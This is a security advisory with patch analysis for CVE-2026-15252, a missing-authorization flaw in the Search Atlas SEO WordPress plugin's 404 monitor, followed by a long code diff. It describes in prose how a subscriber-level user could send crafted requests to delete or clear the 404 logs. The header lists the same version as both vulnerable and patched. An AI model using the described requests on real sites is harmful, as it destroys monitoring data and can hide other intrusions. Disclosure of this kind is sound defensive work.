Published : August 7, 2026

CVE-2026-15252: Search Atlas SEO – Premier SEO Plugin for One-Click WP Publishing & Integrated AI Optimization < 2.6.12 Missing Authorization PoC, Patch Analysis & Rule

Plugin metasync
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 2.6.12
Patched Version 2.6.12
Disclosed July 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-15252: The Search Atlas SEO plugin for WordPress, versions up to and including 2.6.12, contains a missing authorization vulnerability in its 404 monitor component. An attacker with subscriber-level access can trigger state-changing operations by failing to satisfy the plugin’s access control checks. The vulnerability carries a CVSS score of 4.3 and is classified under CWE-862 (Missing Authorization). The issue stems from two key functions in the `class-metasync-404-monitor-list-table.php` file: `process_bulk_action()` and `process_row_action()`. Before the patch, neither function invoked `Metasync::current_user_has_plugin_access()` nor validated a nonce before executing database operations. `process_bulk_action()` responded to `’delete_bulk’` and `’empty’` actions while `process_row_action()` handled the `’delete’` action, both directly calling `$this->database->delete()` and `$this->database->clear_logs()`. This code path allows any authenticated user to delete 404 log entries or permanently clear the entire log, regardless of their assigned role.

Root Cause: The root cause is a missing capability check on the `process_bulk_action()` and `process_row_action()` methods. These methods are called via WordPress’s `WP_List_Table` hooks during page renders and form submissions. The vulnerable code lacks both a nonce check and a call to the plugin’s authorization helper. The nonce validation added in the patch, `check_admin_referer(‘bulk-items’)` and `check_admin_referer(‘deleteid_’ . $item)`, addresses the CSRF aspect, but the permission check is the core fix, ensuring only users authorized by the plugin can perform these actions.

Exploitation: An attacker with subscriber-level access can exploit either a bulk action or a row action. For the bulk action, the attacker would send a POST request to the WordPress admin page, simulating a change in the `action` parameter to `’delete_bulk’` or `’empty’` with a valid `item` parameter containing page IDs or an empty array. For the row action, a crafted GET request to the admin page with `action=delete` and a specific `id` parameter (page ID) would trigger the deletion. A proof-of-concept script could simulate a subscriber user crafting these requests directly to the admin URL, bypassing any front-end checks. No nonce is required, directly abusing the missing check.

Patch Analysis: The patch introduces checks at the beginning of both `process_bulk_action()` and `process_row_action()`. It performs an early return for non-state-changing actions to limit the execution surface. For the state-changing actions, it adds a check using `check_admin_referer()` to verify a nonce and then a call to `Metasync::current_user_has_plugin_access()` to enforce the plugin’s role-based access control. If this function returns `false`, the method exits without executing the database operation. The `check_admin_referer(‘bulk-items’)` function validates the nonce from the list table’s navigation. The `check_admin_referer(‘deleteid_’ . $item)` for the row action validates the nonce generated for the specific item. This dual-layer defense ensures only authenticated and authorized users can trigger deletions or log clearing.

Impact: Exploitation of this vulnerability allows an authenticated attacker with subscriber-level access to delete 404 monitoring log entries. While this is not a direct data breach or privilege escalation, it allows for the destruction of potentially valuable diagnostic data. The attacker can repeatedly clear the 404 logs, which could hide evidence of other malicious activity or simply disrupt the site’s monitoring capabilities. This manipulation can also obscure visibility into broken links and user agent patterns, which are crucial for SEO maintenance. The severity is considered medium (4.3) due to the low privilege required but the limited confidentiality and integrity impact.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/metasync/404-monitor/class-metasync-404-monitor-list-table.php
+++ b/metasync/404-monitor/class-metasync-404-monitor-list-table.php
@@ -544,24 +544,54 @@

 		if (empty($post_data['item'])) return;

+		$action = $this->current_action();
+
+		// Only the state-changing bulk actions need (and emit) a nonce. Returning
+		// early for anything else keeps normal page loads from tripping the check.
+		if (!in_array($action, ['delete_bulk', 'empty'], true)) {
+			return;
+		}
+
+		// Verify the bulk-action nonce emitted by WP_List_Table::display_tablenav()
+		// (plural === 'items' → 'bulk-items') and confirm plugin access before any
+		// delete / clear-logs. Guards against CSRF on the bulk path.
+		check_admin_referer('bulk-items');
+
+		if (!Metasync::current_user_has_plugin_access()) {
+			return;
+		}
+
 		// Detect when bulk delete action is being triggered.
-		if ('delete_bulk' === $this->current_action()) {
+		if ('delete_bulk' === $action) {
 			$this->database->delete($items);
 		}
-		if ('empty' === $this->current_action()) {
+		if ('empty' === $action) {
 			$this->database->clear_logs();
 		}
 	}

 	protected function process_row_action()
 	{
+		// Only the delete row action changes state; bail on anything else so a
+		// normal page load never triggers a nonce failure.
+		if ('delete' !== $this->current_action()) {
+			return;
+		}
+
 		$get_data = metasync_sanitize_input_array($_GET);
 		$item = isset($get_data['id']) ? sanitize_text_field($get_data['id']) : '';

-		// Detect when row action is being triggered.
-		if ('delete' === $this->current_action()) {
-			$this->database->delete([$item]);
+		// Verify the per-item nonce already attached to the Delete link in
+		// column_uri() (wp_nonce_url(..., 'deleteid_' . $item['id'])) and confirm
+		// plugin access before deleting. The link runs via GET, so without this it
+		// is open to CSRF.
+		check_admin_referer('deleteid_' . $item);
+
+		if (!Metasync::current_user_has_plugin_access()) {
+			return;
 		}
+
+		$this->database->delete([$item]);
 	}

 	function prepare_items()
--- a/metasync/admin/class-metasync-admin.php
+++ b/metasync/admin/class-metasync-admin.php
@@ -199,11 +199,16 @@

         // Set menu title using the effective title (includes whitelabel company name if available)
         $this->menu_title = $this->get_effective_menu_title();
-        if(!isset( $data['white_label_plugin_menu_slug'])){
-            self::$page_slug = "searchatlas";
-        }else{
-            self::$page_slug = $data['white_label_plugin_menu_slug']==""  ? "searchatlas":$data['white_label_plugin_menu_slug'];
-        }
+        $raw_slug = isset($data['white_label_plugin_menu_slug']) ? $data['white_label_plugin_menu_slug'] : '';
+        $clean_slug = sanitize_title($raw_slug);
+        # Self-heal a legacy URL-shaped slug (WP-413): persist the sanitized value so every
+        # reader that builds admin links from the stored option gets a valid WP menu slug.
+        if ($raw_slug !== '' && $clean_slug !== $raw_slug) {
+            $options = Metasync::get_option();
+            $options['general']['white_label_plugin_menu_slug'] = $clean_slug;
+            Metasync::set_option($options);
+        }
+        self::$page_slug = $clean_slug === '' ? 'searchatlas' : $clean_slug;

         add_action('admin_menu', array($this, 'add_plugin_settings_page'));
         add_action('admin_menu', array($this, 'add_import_external_data_page'));
@@ -462,7 +467,9 @@
         $data= Metasync::get_option('general');

         # Get white label menu slug
-        $menu_slug = empty($data['white_label_plugin_menu_slug']) ?  self::$page_slug : $data['white_label_plugin_menu_slug'];
+        # Sanitize so a URL-shaped legacy value still yields a valid WP menu slug (WP-413)
+        $menu_slug = empty($data['white_label_plugin_menu_slug']) ?  self::$page_slug : sanitize_title($data['white_label_plugin_menu_slug']);
+        $menu_slug = $menu_slug === '' ? self::$page_slug : $menu_slug;

             ?>
             <style>
@@ -1135,6 +1142,9 @@
                 $this->version,
                 true
             );
+            wp_localize_script($this->plugin_name . '-bing-console', 'metasyncBingConsoleData', array(
+                'nonce' => wp_create_nonce('metasync_nonce'),
+            ));
         }

         // Add redirection form
@@ -3780,17 +3790,18 @@
                                 </div>

                                 <div class="sync-log-status" style="display:flex;align-items:center;gap:8px;">
-                                    <?php if ($record->status === 'published' || $record->status === 'publish'): ?>
-                                        <span class="sync-status-badge sync-status-published">
-                                            <span class="sync-status-icon">✓</span>
-                                            Published
-                                        </span>
-                                    <?php else: ?>
-                                        <span class="sync-status-badge sync-status-draft">
-                                            <span class="sync-status-icon">i</span>
-                                            Draft
-                                        </span>
-                                    <?php endif; ?>
+                                    <?php
+                                        $st = (string) $record->status;
+                                        $b_label = ucfirst($st); $b_bg = '#6b7280'; $b_icon = 'dashicons-info-outline';
+                                        if ($st === 'published' || $st === 'publish' || $st === 'success' || $st === 'partial') { $b_label = 'Published'; $b_bg = '#16a34a'; $b_icon = 'dashicons-yes'; }
+                                        elseif ($st === 'updated') { $b_label = 'Updated'; $b_bg = '#0d9488'; $b_icon = 'dashicons-update'; }
+                                        elseif ($st === 'failed' || $st === 'conflict' || $st === 'locked') { $b_label = 'Not imported'; $b_bg = '#64748b'; $b_icon = 'dashicons-minus'; }
+                                        elseif ($st === 'draft') { $b_label = 'Draft'; $b_bg = '#6b7280'; $b_icon = 'dashicons-info-outline'; }
+                                    ?>
+                                    <span class="sync-status-badge" style="display:inline-flex;align-items:center;gap:4px;background:<?php echo esc_attr($b_bg); ?>;color:#fff;padding:3px 10px;border-radius:12px;font-size:12px;font-weight:600;line-height:1;">
+                                        <span class="dashicons <?php echo esc_attr($b_icon); ?>" style="font-size:14px;width:14px;height:14px;line-height:14px;"></span>
+                                        <?php echo esc_html($b_label); ?>
+                                    </span>
                                     <?php if ($record->source === 'MCP Client'): ?>
                                         <button type="button"
                                                 class="metasync-rollback-btn"
@@ -6081,6 +6092,12 @@
      */
     public function ajax_send_giapi()
     {
+        check_ajax_referer('metasync_nonce', 'nonce');
+
+        if (!Metasync::current_user_has_plugin_access()) {
+            wp_send_json_error(['message' => 'Insufficient permissions.'], 403);
+        }
+
         $post_data = metasync_sanitize_input_array($_POST);
         if (!isset($post_data['metasync_giapi_url'])) {
             return;
@@ -6148,6 +6165,12 @@
      */
     public function ajax_send_bing_indexnow()
     {
+        check_ajax_referer('metasync_nonce', 'nonce');
+
+        if (!Metasync::current_user_has_plugin_access()) {
+            wp_send_json_error(['message' => 'Insufficient permissions.'], 403);
+        }
+
         require_once plugin_dir_path(dirname(__FILE__)) . 'bing-index/class-metasync-bing-instant-index.php';
         $bing_instant_index = new Metasync_Bing_Instant_Index();
         $bing_instant_index->send();
--- a/metasync/custom-pages/class-metasync-custom-pages-api.php
+++ b/metasync/custom-pages/class-metasync-custom-pages-api.php
@@ -531,11 +531,19 @@
 	}

 	/**
-	 * Delete a custom HTML page
+	 * Delete a custom HTML page and clean up its on-disk assets.
+	 *
+	 * Shared implementation behind both the REST endpoint and the MCP delete tool
+	 * so the two paths cannot drift. Performs: page validation, front-page reset
+	 * (when the page is the static front page), permanent deletion, and
+	 * reference-counted removal of the LPS asset folder.
+	 *
+	 * @param int $page_id
+	 * @return array|WP_Error Result payload on success, WP_Error (with status) on failure.
 	 */
-	public function delete_custom_html_page($request)
+	public function delete_custom_page_with_cleanup($page_id)
 	{
-		$page_id = intval($request->get_param('page_id'));
+		$page_id = intval($page_id);

 		// Verify page exists
 		$page = get_post($page_id);
@@ -565,6 +573,11 @@
 			$assets_folder = $page->post_name;
 		}

+		// Capture whether this page is the static front page BEFORE deleting it -
+		// WordPress/plugins may clear page_on_front during wp_delete_post(), so a
+		// post-delete read could miss it (WP-443).
+		$was_front_page = ((int) get_option('page_on_front') === $page_id);
+
 		// Delete the page permanently
 		$result = wp_delete_post($page_id, true);

@@ -576,6 +589,16 @@
 			);
 		}

+		// Reset the WordPress static front page when this page WAS it (captured
+		// before the delete; some setups clear page_on_front during wp_delete_post(),
+		// so reading it afterwards would miss the match). Idempotent + only on success.
+		$front_page_reset = false;
+		if ($was_front_page) {
+			update_option('show_on_front', 'posts');
+			delete_option('page_on_front');
+			$front_page_reset = true;
+		}
+
 		// Remove the LPS asset folder associated with this page — but only if no
 		// other page still references it. Multi-page imports share one folder across
 		// many pages, so deleting one page must not wipe assets the remaining pages
@@ -617,15 +640,35 @@
 			}
 		}

+		return array(
+			'page_id' => $page_id,
+			'title' => $page->post_title,
+			'assets_removed' => $assets_removed,
+			'assets_folder_still_referenced' => $assets_still_referenced,
+			'front_page_reset' => $front_page_reset,
+		);
+	}
+
+	/**
+	 * Delete a custom HTML page (REST endpoint).
+	 *
+	 * Delegates to the shared delete_custom_page_with_cleanup() implementation.
+	 */
+	public function delete_custom_html_page($request)
+	{
+		$page_id = intval($request->get_param('page_id'));
+
+		$result = $this->delete_custom_page_with_cleanup($page_id);
+		if (is_wp_error($result)) {
+			// Return the WP_Error directly so the REST framework maps its embedded
+			// status (404/400/500) to the HTTP status code.
+			return $result;
+		}
+
 		return rest_ensure_response(array(
 			'success' => true,
 			'message' => 'Custom HTML page deleted successfully',
-			'data' => array(
-				'page_id' => $page_id,
-				'title' => $page->post_title,
-				'assets_removed' => $assets_removed,
-				'assets_folder_still_referenced' => $assets_still_referenced
-			)
+			'data' => $result
 		));
 	}

@@ -669,6 +712,12 @@
 				'required' => false,
 				'type' => 'string',
 				'description' => 'On-disk folder name the bundle is extracted to (under uploads/metasync-pages/). This is the path LPS bakes into the asset URLs at build time and is intentionally separate from the page slug. Defaults to the slug when omitted.'
+			),
+			'external_ref' => array(
+				'required' => false,
+				'type' => 'string',
+				'description' => 'LPS project UUID used as the stable per-project home dedup key.',
+				'sanitize_callback' => 'sanitize_text_field'
 			)
 		);
 	}
@@ -680,125 +729,219 @@
 	 */
 	public function import_lps_page($request)
 	{
-		$raw_slug = $request->get_param('slug');
-		if (is_string($raw_slug) && (strpos($raw_slug, '..') !== false || strpos($raw_slug, '/') !== false || strpos($raw_slug, '\') !== false)) {
-			return new WP_Error(
-				'invalid_slug_path',
-				'Slug must not contain path separators or parent references.',
-				array('status' => 400)
-			);
-		}
-
-		$params = $request->get_params();
-		$slug = isset($params['slug']) ? sanitize_title($params['slug']) : '';
-		$title = isset($params['title']) ? sanitize_text_field($params['title']) : '';
-		$status = isset($params['status']) ? sanitize_text_field($params['status']) : 'publish';
-		$overwrite = isset($params['overwrite']) ? (bool) $params['overwrite'] : true;
-		$download_url = isset($params['download_url']) ? $params['download_url'] : '';
-		$assets_folder = isset($params['assets_folder']) ? $params['assets_folder'] : '';
-
-		$zip_path = '';
-		$tmp_file = null;
+		// --- Audit tracking (one persistent record is written on every exit path) ---
+		$_lps_start_ms = (int) round(microtime(true) * 1000);
+		$_lps_result   = null;   // WP_Error|array — set before each return
+		$_lps_http_st  = 500;    // updated before each return
+		$_lps_input    = array(
+			'source_type'       => 'unknown',
+			'zip_size_bytes'    => 0,
+			'assets_folder'     => '',
+			'pages_in_manifest' => null,
+		);

-		$max_zip_bytes = 50 * 1024 * 1024;
+		// Re-derive the auth method + masked key prefix using the same precedence as
+		// validate_api_key() (Bearer header, then x-api-key header, then apikey param).
+		$_lps_auth_method    = '';
+		$_lps_api_key_prefix = '';
+		$_lps_matched_key    = '';
+		$_lps_auth_header    = $request->get_header('authorization');
+		if (!empty($_lps_auth_header) && preg_match('/^Bearers+(.+)$/i', $_lps_auth_header, $_lps_m)) {
+			$_lps_auth_method = 'bearer';
+			$_lps_matched_key = sanitize_text_field($_lps_m[1]);
+		}
+		if ($_lps_matched_key === '') {
+			$_lps_hk = $request->get_header('x-api-key');
+			if (!empty($_lps_hk)) {
+				$_lps_auth_method = 'x-api-key';
+				$_lps_matched_key = sanitize_text_field($_lps_hk);
+			}
+		}
+		if ($_lps_matched_key === '') {
+			$_lps_pk = $request->get_param('apikey');
+			if (!empty($_lps_pk)) {
+				$_lps_auth_method = 'apikey-query';
+				$_lps_matched_key = sanitize_text_field($_lps_pk);
+			}
+		}
+		if (strlen($_lps_matched_key) >= 8) {
+			$_lps_api_key_prefix = substr($_lps_matched_key, 0, 8) . '...';
+		}

 		try {
-			if (!empty($download_url)) {
-				$tmp_file = wp_tempnam('lps_import_');
-				if (!$tmp_file) {
-					return new WP_Error('tmp_file_failed', 'Failed to create temporary file.', array('status' => 500));
-				}
-
-				$response = wp_safe_remote_get($download_url, array(
-					'timeout' => 60,
-					'stream' => true,
-					'filename' => $tmp_file,
-				));
-
-				if (is_wp_error($response)) {
-					return new WP_Error('zip_download_failed', 'Failed to download ZIP: ' . $response->get_error_message(), array('status' => 400));
-				}
-
-				$code = wp_remote_retrieve_response_code($response);
-				if ((int) $code !== 200) {
-					return new WP_Error('zip_download_http_error', 'ZIP download returned HTTP ' . intval($code), array('status' => 400));
-				}
+			$raw_slug = $request->get_param('slug');
+			if (is_string($raw_slug) && (strpos($raw_slug, '..') !== false || strpos($raw_slug, '/') !== false || strpos($raw_slug, '\') !== false)) {
+				$_lps_http_st = 400;
+				$_lps_result  = new WP_Error(
+					'invalid_slug_path',
+					'Slug must not contain path separators or parent references.',
+					array('status' => 400)
+				);
+				return $_lps_result;
+			}

-				$content_type = strtolower((string) wp_remote_retrieve_header($response, 'content-type'));
-				if ($content_type !== '' && strpos($content_type, 'zip') === false && strpos($content_type, 'octet-stream') === false) {
-					return new WP_Error('invalid_zip_content_type', 'Downloaded file is not a ZIP (Content-Type: ' . sanitize_text_field($content_type) . ').', array('status' => 400));
-				}
+			$params = $request->get_params();
+			$slug = isset($params['slug']) ? sanitize_title($params['slug']) : '';
+			$title = isset($params['title']) ? sanitize_text_field($params['title']) : '';
+			$status = isset($params['status']) ? sanitize_text_field($params['status']) : 'publish';
+			$overwrite = isset($params['overwrite']) ? (bool) $params['overwrite'] : true;
+			$download_url = isset($params['download_url']) ? $params['download_url'] : '';
+			$assets_folder = isset($params['assets_folder']) ? $params['assets_folder'] : '';
+			$_lps_input['assets_folder'] = $assets_folder;
+			$external_ref = isset($params['external_ref']) ? sanitize_text_field($params['external_ref']) : '';
+			$_lps_input['external_ref'] = $external_ref;
+
+			$zip_path = '';
+			$tmp_file = null;
+
+			$max_zip_bytes = 50 * 1024 * 1024;
+
+			try {
+				if (!empty($download_url)) {
+					$_lps_input['source_type'] = 'download_url';
+					// wp_tempnam() lives in wp-admin/includes/file.php, which is NOT loaded
+					// during a normal REST request — load it so this works in any context.
+					if (!function_exists('wp_tempnam')) {
+						require_once ABSPATH . 'wp-admin/includes/file.php';
+					}
+					$tmp_file = wp_tempnam('lps_import_');
+					if (!$tmp_file) {
+						$_lps_http_st = 500;
+						$_lps_result  = new WP_Error('tmp_file_failed', 'Failed to create temporary file.', array('status' => 500));
+						return $_lps_result;
+					}

-				$downloaded_size = file_exists($tmp_file) ? filesize($tmp_file) : 0;
-				if ($downloaded_size === 0) {
-					return new WP_Error('zip_download_empty', 'Downloaded ZIP file is empty.', array('status' => 400));
-				}
-				if ($downloaded_size > $max_zip_bytes) {
-					return new WP_Error('zip_too_large', 'Downloaded ZIP exceeds the maximum allowed size (' . intval($max_zip_bytes / 1024 / 1024) . ' MB).', array('status' => 413));
-				}
+					$response = wp_safe_remote_get($download_url, array(
+						'timeout' => 60,
+						'stream' => true,
+						'filename' => $tmp_file,
+					));
+
+					if (is_wp_error($response)) {
+						$_lps_http_st = 400;
+						$_lps_result  = new WP_Error('zip_download_failed', 'Failed to download ZIP: ' . $response->get_error_message(), array('status' => 400));
+						return $_lps_result;
+					}

-				$zip_path = $tmp_file;
+					$code = wp_remote_retrieve_response_code($response);
+					if ((int) $code !== 200) {
+						$_lps_http_st = 400;
+						$_lps_result  = new WP_Error('zip_download_http_error', 'ZIP download returned HTTP ' . intval($code), array('status' => 400));
+						return $_lps_result;
+					}

-			} elseif (!empty($_FILES['zip_file']) && is_array($_FILES['zip_file'])) {
-				$file = $_FILES['zip_file'];
+					$content_type = strtolower((string) wp_remote_retrieve_header($response, 'content-type'));
+					if ($content_type !== '' && strpos($content_type, 'zip') === false && strpos($content_type, 'octet-stream') === false) {
+						$_lps_http_st = 400;
+						$_lps_result  = new WP_Error('invalid_zip_content_type', 'Downloaded file is not a ZIP (Content-Type: ' . sanitize_text_field($content_type) . ').', array('status' => 400));
+						return $_lps_result;
+					}

-				if (!isset($file['error']) || $file['error'] !== UPLOAD_ERR_OK) {
-					return new WP_Error('zip_upload_error', 'Uploaded ZIP file has an error code: ' . (isset($file['error']) ? intval($file['error']) : 'unknown'), array('status' => 400));
-				}
+					$downloaded_size = file_exists($tmp_file) ? filesize($tmp_file) : 0;
+					$_lps_input['zip_size_bytes'] = $downloaded_size;
+					if ($downloaded_size === 0) {
+						$_lps_http_st = 400;
+						$_lps_result  = new WP_Error('zip_download_empty', 'Downloaded ZIP file is empty.', array('status' => 400));
+						return $_lps_result;
+					}
+					if ($downloaded_size > $max_zip_bytes) {
+						$_lps_http_st = 413;
+						$_lps_result  = new WP_Error('zip_too_large', 'Downloaded ZIP exceeds the maximum allowed size (' . intval($max_zip_bytes / 1024 / 1024) . ' MB).', array('status' => 413));
+						return $_lps_result;
+					}

-				if (empty($file['tmp_name']) || !is_uploaded_file($file['tmp_name'])) {
-					return new WP_Error('invalid_zip_upload', 'Invalid ZIP upload.', array('status' => 400));
-				}
+					$zip_path = $tmp_file;

-				$allowed_mime_types = array('application/zip', 'application/octet-stream', 'application/x-zip-compressed', 'multipart/x-zip');
-				if (!empty($file['type']) && !in_array($file['type'], $allowed_mime_types, true)) {
-					return new WP_Error('invalid_zip_mime', 'Uploaded file is not a ZIP archive (type: ' . sanitize_text_field($file['type']) . ').', array('status' => 400));
-				}
+				} elseif (!empty($_FILES['zip_file']) && is_array($_FILES['zip_file'])) {
+					$file = $_FILES['zip_file'];
+					$_lps_input['source_type'] = 'upload';
+
+					if (!isset($file['error']) || $file['error'] !== UPLOAD_ERR_OK) {
+						$_lps_http_st = 400;
+						$_lps_result  = new WP_Error('zip_upload_error', 'Uploaded ZIP file has an error code: ' . (isset($file['error']) ? intval($file['error']) : 'unknown'), array('status' => 400));
+						return $_lps_result;
+					}

-				$uploaded_size = isset($file['size']) ? (int) $file['size'] : 0;
-				if ($uploaded_size > $max_zip_bytes) {
-					return new WP_Error('zip_too_large', 'Uploaded ZIP exceeds the maximum allowed size (' . intval($max_zip_bytes / 1024 / 1024) . ' MB).', array('status' => 413));
-				}
+					if (empty($file['tmp_name']) || !is_uploaded_file($file['tmp_name'])) {
+						$_lps_http_st = 400;
+						$_lps_result  = new WP_Error('invalid_zip_upload', 'Invalid ZIP upload.', array('status' => 400));
+						return $_lps_result;
+					}

-				$zip_path = $file['tmp_name'];
+					$allowed_mime_types = array('application/zip', 'application/octet-stream', 'application/x-zip-compressed', 'multipart/x-zip');
+					if (!empty($file['type']) && !in_array($file['type'], $allowed_mime_types, true)) {
+						$_lps_http_st = 400;
+						$_lps_result  = new WP_Error('invalid_zip_mime', 'Uploaded file is not a ZIP archive (type: ' . sanitize_text_field($file['type']) . ').', array('status' => 400));
+						return $_lps_result;
+					}

-			} else {
-				return new WP_Error('missing_zip_source', 'Provide either a download_url or a multipart zip_file upload.', array('status' => 400));
-			}
+					$uploaded_size = isset($file['size']) ? (int) $file['size'] : 0;
+					$_lps_input['zip_size_bytes'] = $uploaded_size;
+					if ($uploaded_size > $max_zip_bytes) {
+						$_lps_http_st = 413;
+						$_lps_result  = new WP_Error('zip_too_large', 'Uploaded ZIP exceeds the maximum allowed size (' . intval($max_zip_bytes / 1024 / 1024) . ' MB).', array('status' => 413));
+						return $_lps_result;
+					}

-			$result = $this->extract_and_create_lps_page($zip_path, $slug, $title, $status, $overwrite, $assets_folder);
+					$zip_path = $file['tmp_name'];

-			if (is_wp_error($result)) {
-				return $result;
-			}
+				} else {
+					$_lps_http_st = 400;
+					$_lps_result  = new WP_Error('missing_zip_source', 'Provide either a download_url or a multipart zip_file upload.', array('status' => 400));
+					return $_lps_result;
+				}
+
+				$result = $this->extract_and_create_lps_page($zip_path, $slug, $title, $status, $overwrite, $assets_folder, $external_ref);
+				$_lps_result = $result;
+
+				if (is_wp_error($result)) {
+					$_err_data    = $result->get_error_data();
+					$_lps_http_st = (int) ((is_array($_err_data) && isset($_err_data['status'])) ? $_err_data['status'] : 500);
+					return $result;
+				}
+
+				// Map the import outcome to an HTTP status:
+				//   200 — all pages created/updated
+				//   207 — partial success (some pages failed)
+				//   422 — every page failed
+				// (Single-page slug conflicts already return 409 as a WP_Error above.)
+				$status_code = 200;
+				$data = (isset($result['data']) && is_array($result['data'])) ? $result['data'] : array();
+				if (isset($data['mode']) && $data['mode'] === 'multi') {
+					$_lps_input['pages_in_manifest'] = isset($data['pages_total']) ? (int) $data['pages_total'] : null;
+					$succeeded = count(isset($data['created']) ? $data['created'] : array())
+						+ count(isset($data['updated']) ? $data['updated'] : array());
+					$failed = count(isset($data['failed']) ? $data['failed'] : array());
+					if ($failed > 0 && $succeeded > 0) {
+						$status_code = 207;
+					} elseif ($failed > 0 && $succeeded === 0) {
+						$status_code = 422;
+						$result['success'] = false;
+						$_lps_result = $result;
+					}
+				} elseif (isset($data['mode']) && $data['mode'] === 'single') {
+					$_lps_input['pages_in_manifest'] = 1;
+				}

-			// Map the import outcome to an HTTP status:
-			//   200 — all pages created/updated
-			//   207 — partial success (some pages failed)
-			//   422 — every page failed
-			// (Single-page slug conflicts already return 409 as a WP_Error above.)
-			$status_code = 200;
-			$data = (isset($result['data']) && is_array($result['data'])) ? $result['data'] : array();
-			if (isset($data['mode']) && $data['mode'] === 'multi') {
-				$succeeded = count(isset($data['created']) ? $data['created'] : array())
-					+ count(isset($data['updated']) ? $data['updated'] : array());
-				$failed = count(isset($data['failed']) ? $data['failed'] : array());
-				if ($failed > 0 && $succeeded > 0) {
-					$status_code = 207;
-				} elseif ($failed > 0 && $succeeded === 0) {
-					$status_code = 422;
-					$result['success'] = false;
+				$_lps_http_st = $status_code;
+				$response = rest_ensure_response($result);
+				$response->set_status($status_code);
+				return $response;
+
+			} finally {
+				if (!empty($tmp_file) && file_exists($tmp_file)) {
+					@unlink($tmp_file);
 				}
 			}
-
-			$response = rest_ensure_response($result);
-			$response->set_status($status_code);
-			return $response;
-
 		} finally {
-			if (!empty($tmp_file) && file_exists($tmp_file)) {
-				@unlink($tmp_file);
-			}
+			self::write_lps_import_audit(array(
+				'result'         => $_lps_result,
+				'http_status'    => $_lps_http_st,
+				'input'          => $_lps_input,
+				'start_ms'       => $_lps_start_ms,
+				'auth_method'    => $_lps_auth_method,
+				'api_key_prefix' => $_lps_api_key_prefix,
+			));
 		}
 	}

@@ -815,9 +958,11 @@
 	 * @param string $assets_folder On-disk folder name to extract into (under metasync-pages/).
 	 *                              Defaults to the slug when empty. Must match the path LPS baked
 	 *                              into the bundle's asset URLs at build time.
+	 * @param string $external_ref Stable per-project LPS UUID. When non-empty it is stored as
+	 *                              post meta and used as the primary home-page dedup key.
 	 * @return array|WP_Error   Response array on success, WP_Error on failure.
 	 */
-	public function extract_and_create_lps_page($zip_path, $slug, $title, $status = 'publish', $overwrite = true, $assets_folder = '')
+	public function extract_and_create_lps_page($zip_path, $slug, $title, $status = 'publish', $overwrite = true, $assets_folder = '', $external_ref = '')
 	{
 		if (!class_exists('ZipArchive')) {
 			return new WP_Error(
@@ -1023,7 +1168,7 @@
 			if (is_wp_error($swap)) {
 				return $swap;
 			}
-			return $this->create_pages_from_manifest($manifest['pages'], $target_dir, $assets_folder, $assets_dir_url, $status, $overwrite);
+			return $this->create_pages_from_manifest($manifest['pages'], $target_dir, $assets_folder, $assets_dir_url, $status, $overwrite, $external_ref);
 		}

 		// ---- Single-page import -------------------------------------------------
@@ -1113,6 +1258,9 @@
 		update_post_meta($page_id, Metasync_Custom_Pages::META_CREATED_VIA_API, '1');
 		update_post_meta($page_id, Metasync_Custom_Pages::META_LPS_IMPORT, '1');
 		update_post_meta($page_id, Metasync_Custom_Pages::META_ASSETS_FOLDER, $assets_folder);
+		if ($external_ref !== '') {
+			update_post_meta($page_id, Metasync_Custom_Pages::META_LPS_PROJECT_REF, $external_ref);
+		}
 		update_post_meta($page_id, Metasync_Custom_Pages::META_HTML_ENABLED, '1');
 		update_post_meta($page_id, Metasync_Custom_Pages::META_HTML_CONTENT, wp_unslash($html));
 		update_post_meta($page_id, Metasync_Custom_Pages::META_HTML_FILENAME, 'index.html');
@@ -1125,6 +1273,7 @@
 			'message' => 'LPS ZIP imported successfully',
 			'data' => array(
 				'mode' => 'single',
+				'was_update' => (bool) $existing_page,
 				'page_id' => $page_id,
 				'slug' => get_post_field('post_name', $page_id),
 				'url' => get_permalink($page_id),
@@ -1213,6 +1362,57 @@
 	}

 	/**
+	 * Find this project's existing LPS home page by a stable per-project marker,
+	 * independent of its slug, so a re-publish updates the same home instead of
+	 * creating a duplicate.
+	 *
+	 * When $external_ref (the LPS project UUID) is supplied it is the primary key:
+	 * matched on META_LPS_PROJECT_REF, robust to assets_folder/slug changes between
+	 * publishes. When absent (i.e. before CA forwards external_ref) it falls back to
+	 * the legacy META_LPS_HOME == assets_folder lookup — no regression.
+	 *
+	 * @param string $assets_folder Legacy per-project key (fallback).
+	 * @param string $external_ref  LPS project UUID (preferred key when present).
+	 * @return int Page ID, or 0 if none.
+	 */
+	private function find_lps_home_page($assets_folder, $external_ref = '')
+	{
+		if ($external_ref !== '') {
+			// Match the project's HOME specifically: the page carrying this project's
+			// UUID (written on every page) AND flagged as a home (META_LPS_HOME is
+			// written only on the home). Without the home clause this matched any page.
+			$ref_ids = get_posts(array(
+				'post_type'        => 'page',
+				'post_status'      => array('publish', 'future', 'draft', 'pending', 'private'),
+				'numberposts'      => 1,
+				'fields'           => 'ids',
+				'no_found_rows'    => true,
+				'suppress_filters' => true,
+				'meta_query'       => array(
+					'relation' => 'AND',
+					array('key' => Metasync_Custom_Pages::META_LPS_PROJECT_REF, 'value' => $external_ref),
+					array('key' => Metasync_Custom_Pages::META_LPS_HOME, 'compare' => 'EXISTS'),
+				),
+			));
+			if (!empty($ref_ids)) {
+				return (int) $ref_ids[0];
+			}
+		}
+
+		$ids = get_posts(array(
+			'post_type'        => 'page',
+			'post_status'      => array('publish', 'future', 'draft', 'pending', 'private'),
+			'numberposts'      => 1,
+			'fields'           => 'ids',
+			'no_found_rows'    => true,
+			'suppress_filters' => true,
+			'meta_key'         => Metasync_Custom_Pages::META_LPS_HOME,
+			'meta_value'       => $assets_folder,
+		));
+		return !empty($ids) ? (int) $ids[0] : 0;
+	}
+
+	/**
 	 * Create or update one WordPress page per entry in pages.manifest.json.
 	 *
 	 * All pages share the single $assets_folder. Slugs are created shallowest-first
@@ -1225,7 +1425,7 @@
 	 *                     before the staging→live swap).
 	 * @return array Response with created/updated/failed arrays.
 	 */
-	private function create_pages_from_manifest($pages, $target_dir, $assets_folder, $assets_dir_url, $status, $overwrite)
+	private function create_pages_from_manifest($pages, $target_dir, $assets_folder, $assets_dir_url, $status, $overwrite, $external_ref = '')
 	{
 		// Shallowest slugs first so parents are created before their children.
 		usort($pages, function ($a, $b) {
@@ -1250,8 +1450,8 @@
 			$is_home  = !empty($entry['isHome']);
 			$raw_slug = isset($entry['slug']) ? trim((string) $entry['slug'], '/') : '';

